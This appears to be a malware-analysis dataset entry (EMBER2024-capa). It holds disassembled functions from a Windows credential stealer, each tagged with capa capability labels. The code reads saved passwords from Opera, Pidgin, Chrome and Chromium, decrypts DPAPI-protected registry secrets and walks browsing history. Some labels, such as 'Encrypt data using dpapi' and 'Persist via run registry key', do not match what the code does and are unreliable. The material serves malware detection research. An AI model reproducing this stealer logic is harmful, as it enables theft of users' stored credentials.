joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405271
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x28], 0
test esi, esi
jne 0x40528b
lea esi, [ebp - 0x28]
mov dword [ebp - 0x24], 0
mov dword [esp + 4], 0x410944
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov ebx, eax
test eax, eax
jne 0x4052b0
jmp 0x405383
mov dword [esp + 0xc], 2
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp], eax
call fcn.004051f2
test eax, eax
jne 0x40536a
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_fgetpos
or edx, 0xffffffff
test eax, eax
jne 0x4052f1
mov edx, dword [ebp - 0x20]
mov dword [esi], edx
test edx, edx
jle 0x40536a
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_fsetpos
test eax, eax
jne 0x40536a
mov eax, dword [esi]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x24], eax
test eax, eax
je 0x40536a
mov dword [esp + 0xc], ebx
mov edx, dword [esi]
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov edi, eax
cmp eax, dword [esi]
je 0x40535d
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.msvcrt.dll_realloc
mov dword [ebp - 0x24], eax
mov dword [esi], edi
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x24]
jmp 0x405385
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
cmp dword [ebp - 0x24], 0
je 0x405383
lea eax, [ebp - 0x24]
mov dword [esp], eax
call fcn.00405186
xor eax, eax
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x405ac4
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040984d
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 1
call sub.KERNEL32.dll_OpenProcess
sub esp, 0xc
mov ebx, eax
test eax, eax
je 0x405b1c
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_TerminateProcess
push esi
push esi
test eax, eax
setne al
mov esi, eax
mov dword [esp], ebx
call sub.KERNEL32.dll_CloseHandle
push eax
jmp 0x405b1e
xor esi, esi
mov eax, esi
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x405ee3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x34
mov edx, dword [ebp + 8]
mov edi, edx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov eax, dword [0x415290]
mov dword [esp], eax
call sub.KERNEL32.dll_WriteFile
sub esp, 0x14
mov edi, dword [ebp - 4]
leave
ret
Function at 0x406520
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov byte [ebp - 9], 0
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00409bfc
mov dword [esp + 4], 0x410a99
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x406639
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
mov dword [esp + 4], 1
lea eax, [ebp - 0x218]
mov dword [esp], eax
call sub.msvcrt.dll_fread
test eax, eax
je 0x40662e
mov byte [ebp - 0x19], 0
lea eax, [ebp - 0x218]
mov dword [esp + 8], eax
mov dword [esp + 4], str.Path
mov dword [esp], 0
call fcn.00409804
add eax, 5
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x218]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x410aa1
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call fcn.00409804
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x14], 5
jle 0x40662e
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x14]
jle 0x40662e
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
mov ecx, edx
sub ecx, eax
mov eax, ecx
cmp eax, dword [ebp + 0x10]
jae 0x40662e
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
mov ecx, edx
sub ecx, eax
mov eax, ecx
lea ecx, [ebp - 0x218]
mov edx, dword [ebp - 0x14]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00409768
test eax, eax
setne al
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov al, byte [ebp - 9]
leave
ret
Function at 0x407175
Capabilities:
Query environment variable
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sOperaOperawand.dat
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x214]
mov dword [esp], eax
call fcn.004099d7
lea eax, [ebp - 0x214]
mov dword [esp], eax
call fcn.0040486b
xor eax, 1
test al, al
je 0x4071f8
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sOperaOperaprofilewand.dat
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x214]
mov dword [esp], eax
call fcn.004099d7
mov dword [esp + 4], 0x410d40
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x407221
mov eax, 0
jmp 0x407301
mov dword [ebp - 0x218], 0
lea eax, [ebp - 0x214]
mov dword [esp], eax
call fcn.004049eb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x4072f1
mov eax, dword [ebp - 0x10]
add eax, 6
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
test eax, eax
je 0x4072f1
mov eax, dword [ebp - 0x218]
mov byte [eax], 3
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x218]
lea ecx, [edx + 1]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], ecx
call sub.msvcrt.dll_fread
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jle 0x4072e3
mov eax, dword [ebp - 0x218]
mov edx, dword [ebp - 0x10]
inc edx
add eax, edx
mov dword [esp + 8], 5
mov dword [esp + 4], str._b_b_b_b
mov dword [esp], eax
call fcn.00409768
mov eax, dword [ebp - 0x10]
lea edx, [eax + 6]
mov eax, dword [ebp + 8]
mov dword [eax], edx
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x218]
jmp 0x407301
lea eax, [ebp - 0x218]
mov dword [esp], eax
call fcn.00405186
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, 0
leave
ret
Function at 0x407303
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
mov dword [ebp - 0x314], 0
mov dword [esp], str.APPDATA
call sub.msvcrt.dll_getenv
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s.purple_accounts.xml
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x30f]
mov dword [esp], eax
call fcn.004099d7
mov dword [esp + 4], 0x410a99
lea eax, [ebp - 0x30f]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4074bc
mov dword [ebp - 0x318], 0
jmp 0x40748c
mov dword [ebp - 0x318], 0
lea eax, [ebp - 0x10b]
mov dword [esp + 8], eax
mov dword [esp + 4], str._protocol_
mov dword [esp], 0
call fcn.00409804
cmp eax, 0xffffffff
je 0x4073da
lea eax, [ebp - 0x10b]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], str._d_s_a
lea eax, [ebp - 0x318]
mov dword [esp], eax
call fcn.00409983
cmp eax, 0xffffffff
jne 0x40744c
mov eax, 0
jmp 0x4074c2
lea eax, [ebp - 0x10b]
mov dword [esp + 8], eax
mov dword [esp + 4], str._name_
mov dword [esp], 0
call fcn.00409804
cmp eax, 0xffffffff
jne 0x407420
lea eax, [ebp - 0x10b]
mov dword [esp + 8], eax
mov dword [esp + 4], str._password_
mov dword [esp], 0
call fcn.00409804
cmp eax, 0xffffffff
je 0x40744c
lea eax, [ebp - 0x10b]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x410d83
lea eax, [ebp - 0x318]
mov dword [esp], eax
call fcn.00409983
cmp eax, 0xffffffff
jne 0x40744c
mov eax, 0
jmp 0x4074c2
mov eax, dword [ebp - 0x318]
test eax, eax
je 0x40748c
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0xffffffff
lea eax, [ebp - 0x318]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xffffffff
lea eax, [ebp - 0x314]
mov dword [esp], eax
call fcn.00409cdd
mov dword [ebp - 0x314], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0xff
lea eax, [ebp - 0x10b]
mov dword [esp], eax
call sub.msvcrt.dll_fgets
test eax, eax
jne 0x407376
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x314]
leave
ret

Function at 0x4074c4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
sete al
leave
ret
Function at 0x407c49
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 0x14]
cdq
mov dword [esp + 0xc], 0
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004051f2
test eax, eax
je 0x407c76
mov al, 0
jmp 0x407c9d
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sub.msvcrt.dll_fread
cmp eax, dword [ebp + 0x10]
sete al
leave
ret

Function at 0x407c9f
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 0x18], 0
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call fcn.00409bfc
mov dword [esp + 0x10], 0xf0000000
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0x415298
call sub.ADVAPI32.DLL_CryptAcquireContextA
sub esp, 0x14
test eax, eax
je 0x407e4d
mov eax, dword [0x415298]
lea edx, [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x8004
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptCreateHash
sub esp, 0x14
test eax, eax
je 0x407e35
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptHashData
sub esp, 0x10
test eax, eax
je 0x407e27
mov dword [ebp - 0x30], 0x14
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x30]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], 2
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptGetHashParam
sub esp, 0x14
test eax, eax
je 0x407e27
mov byte [ebp - 0x11], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x407df5
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
add eax, edx
mov al, byte [eax]
add byte [ebp - 0x11], al
lea edx, [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
add eax, edx
mov al, byte [eax]
movzx eax, al
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
add edx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._.2X
mov dword [esp + 4], 2
mov dword [esp], edx
call fcn.004099d7
inc dword [ebp - 0xc]
add dword [ebp - 0x10], 2
cmp dword [ebp - 0xc], 0x13
jle 0x407db0
movzx eax, byte [ebp - 0x11]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0x10]
add edx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._.2X
mov dword [esp + 4], 2
mov dword [esp], edx
call fcn.004099d7
mov al, 1
jmp 0x407e4f
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptDestroyHash
sub esp, 4
mov eax, dword [0x415298]
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.ADVAPI32.DLL_CryptReleaseContext
sub esp, 8
mov al, 0
leave
ret
Function at 0x407e51
Capabilities:
Encrypt data using dpapi
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x888
mov eax, dword [ebp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call fcn.00409bfc
mov eax, dword [ebp + 0x10]
lea edx, [ebp - 0x47]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00407c9f
xor eax, 1
test al, al
je 0x407e9b
mov al, 0
jmp 0x408010
mov byte [ebp - 0x1d], 0
mov dword [ebp - 0x4c], 0x800
lea eax, [ebp - 0x4c]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x84c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x47]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
jne 0x40800e
lea eax, [ebp - 0x84c]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x854], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x860], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x864], eax
lea eax, [ebp - 0x85c]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x864]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x854]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x40800e
mov eax, dword [ebp - 0x858]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x85c]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 8]
add eax, ecx
cmp edx, eax
jb 0x407ff9
mov eax, dword [ebp - 0x858]
add eax, 0x24
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x858]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 4]
add eax, ecx
add eax, edx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x18], eax
add dword [ebp - 0x10], 0x10
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], str._c_S_a_S:_S_b_b_b_b
mov eax, dword [ebp + 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call fcn.004099d7
mov eax, dword [ebp - 0x858]
mov dword [esp], eax
call sub.KERNEL32.dll_LocalFree
sub esp, 4
mov al, 1
jmp 0x408010
mov al, 0
leave
ret
Function at 0x4088f8
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x788
mov dword [esp], 0x8003
call sub.KERNEL32.dll_SetErrorMode
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._s.
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x214]
mov dword [esp], eax
call fcn.004099d7
cmp eax, 0xffffffff
je 0x408b00
lea eax, [ebp - 0x558]
mov dword [esp + 4], eax
lea eax, [ebp - 0x214]
mov dword [esp], eax
call sub.KERNEL32.dll_FindFirstFileA
sub esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
je 0x408b00
mov dword [esp + 4], 0x410f85
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp], eax
call fcn.00409b1f
test eax, eax
je 0x408ad1
mov dword [esp + 4], 0x410f87
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp], eax
call fcn.00409b1f
test eax, eax
je 0x408ad1
mov eax, dword [ebp - 0x558]
and eax, 0x10
test eax, eax
je 0x408a0b
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x410af5
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x760]
mov dword [esp], eax
call fcn.004099d7
mov eax, dword [ebp + 0xc]
lea edx, [eax + 1]
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], edx
lea eax, [ebp - 0x760]
mov dword [esp], eax
call fcn.004088f8
jmp 0x408ad2
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp + 4], eax
mov dword [esp], str.index.dat
call fcn.00409b1f
test eax, eax
jne 0x408ad2
lea eax, [ebp - 0x558]
add eax, 0x2c
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x410af5
mov dword [esp + 4], 0x204
lea eax, [ebp - 0x418]
mov dword [esp], eax
call fcn.004099d7
lea eax, [ebp - 0x418]
mov dword [esp], eax
call fcn.00408414
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
test eax, eax
je 0x408ad2
mov eax, dword [ebp - 0x55c]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x10], eax
mov eax, dword [0x415294]
mov dword [esp + 0x10], 1
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x55c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call fcn.00409cdd
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov edx, dword [0x415294]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [0x415294], eax
jmp 0x408ad2
nop
lea eax, [ebp - 0x558]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindNextFileA
sub esp, 8
test eax, eax
jne 0x408966
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_FindClose
sub esp, 4
leave
ret
Function at 0x408b02
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [0x415294], 0
call fcn.004081c9
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x408b77
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x10], eax
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x18]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x14]
mov dword [esp], eax
call fcn.00409cdd
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
mov dword [ebp - 0x20], 0
mov dword [esp + 8], str.History
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov dword [esp], 0x80000001
call fcn.0040e3c1
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x408bc9
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x20]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call fcn.004088f8
lea eax, [ebp - 0x1c]
mov dword [esp], eax
call fcn.00405186
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x408c0f
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [ebp - 0x10], eax
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x20]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x14]
mov dword [esp], eax
call fcn.00409cdd
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
add dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
leave
ret
Function at 0x408f71
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov byte [ebp - 9], 0
mov dword [esp], 4
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x408f99
mov al, byte [ebp - 9]
jmp 0x4090a3
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x408fb6
mov al, byte [ebp - 9]
jmp 0x4090a3
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1c
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetSpecialFolderLocation
sub esp, 0xc
test eax, eax
jne 0x409082
mov eax, dword [ebp + 8]
cmp eax, 4
je 0x408fee
cmp eax, 5
je 0x409036
jmp 0x409082
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.SHELL32.DLL_SHGetPathFromIDListA
sub esp, 8
test eax, eax
setne al
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x40907e
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sGoogleChromeUser_DataDefaultLogin_Data
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004099d7
jmp 0x40907e
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.SHELL32.DLL_SHGetPathFromIDListA
sub esp, 8
test eax, eax
setne al
mov byte [ebp - 9], al
cmp byte [ebp - 9], 0
je 0x409081
mov eax, dword [ebp - 0x14]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._sChromiumUser_DataDefaultLogin_Data
mov eax, dword [ebp + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004099d7
jmp 0x409081
nop
jmp 0x409082
nop
lea eax, [ebp - 0x14]
mov dword [esp], eax
call fcn.00405186
lea eax, [ebp - 0x10]
mov dword [esp], eax
call fcn.00405186
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040486b
leave
ret
Function at 0x409f34
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x13c
mov edi, dword [ebp + 0xc]
cmp dword [ebp + 8], edi
je 0x40a102
mov edx, dword [ebp + 0x10]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], edi
call fcn.00409bfc
xor esi, esi
xor ebx, ebx
lea edx, [ebp - 0x118]
mov dword [ebp - 0x11c], edx
jmp 0x40a0cb
mov byte [edi + ebx], al
inc ebx
lea esi, [edx + ebx]
lea eax, [ecx + ebx]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax + ebx]
cmp al, 0x25
je 0x409fa2
test al, al
je 0x409fa2
cmp ebx, dword [ebp + 0x10]
jne 0x409f78
jmp 0x40a0cb
mov dword [ebp - 0x12c], esi
mov dword [ebp - 0x128], ebx
cmp al, 0x25
jne 0x40a0cb
lea ecx, [esi + 1]
mov dword [esp + 8], 0x100
mov dword [esp + 4], 0
lea edx, [ebp - 0x118]
mov dword [esp], edx
mov dword [ebp - 0x138], ecx
call fcn.00409bfc
mov dword [ebp - 0x124], esi
lea edx, [esi + 0x101]
mov dword [ebp - 0x120], edx
mov edx, dword [ebp - 0x11c]
sub edx, esi
mov dword [ebp - 0x134], edx
mov ecx, dword [ebp - 0x138]
jmp 0x40a022
inc ecx
mov esi, ecx
mov dword [esp], eax
mov dword [ebp - 0x138], ecx
call fcn.00409a69
mov ecx, esi
mov edx, dword [ebp - 0x134]
mov byte [edx + esi - 2], al
mov edx, dword [ebp + 8]
movsx eax, byte [edx + ecx]
test al, al
je 0x40a03e
cmp al, 0x25
je 0x40a03e
cmp ecx, dword [ebp - 0x120]
jne 0x40a005
jmp 0x40a0cb
test al, al
jne 0x40a064
mov esi, dword [ebp - 0x124]
jmp 0x40a04e
mov byte [edi + ebx], al
inc ebx
inc esi
mov edx, dword [ebp + 8]
mov al, byte [edx + esi]
cmp al, 0x25
je 0x40a0cb
test al, al
je 0x40a0cb
cmp ebx, dword [ebp + 0x10]
jb 0x40a04a
jmp 0x40a0cb
cmp al, 0x25
jne 0x40a0cb
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sub.msvcrt.dll_getenv
test eax, eax
jne 0x40a0b8
mov edx, dword [ebp - 0x130]
mov al, byte [edx]
mov byte [edi + ebx], al
inc ebx
mov ecx, dword [ebp - 0x12c]
sub ecx, dword [ebp - 0x128]
mov edx, dword [ebp + 8]
add edx, ecx
jmp 0x40a09d
mov byte [edi + ebx], al
inc ebx
lea esi, [ecx + ebx]
mov al, byte [edx + ebx]
cmp al, 0x25
je 0x40a0cb
test al, al
je 0x40a0cb
cmp ebx, dword [ebp + 0x10]
jb 0x40a099
jmp 0x40a0cb
mov byte [edi + ebx], cl
inc ebx
jmp 0x40a0ba
sub eax, ebx
mov cl, byte [eax + ebx]
test cl, cl
jne 0x40a0c4
inc esi
jmp 0x40a0cb
cmp ebx, dword [ebp + 0x10]
jb 0x40a0b2
jmp 0x40a0c1
mov edx, dword [ebp + 8]
cmp byte [edx + esi], 0
je 0x40a0f6
cmp ebx, dword [ebp + 0x10]
jae 0x40a0f6
mov edx, esi
sub edx, ebx
mov ecx, dword [ebp + 8]
add ecx, esi
sub ecx, ebx
jmp 0x409f7c
cmp byte [edi + eax], 0x2f
jne 0x40a0f3
mov byte [edi + eax], 0x5c
inc eax
jmp 0x40a0f8
xor eax, eax
cmp eax, dword [ebp + 0x10]
jne 0x40a0e9
mov byte [edi + eax - 1], 0
add esp, 0x13c
pop ebx
pop esi
pop edi
pop ebp
ret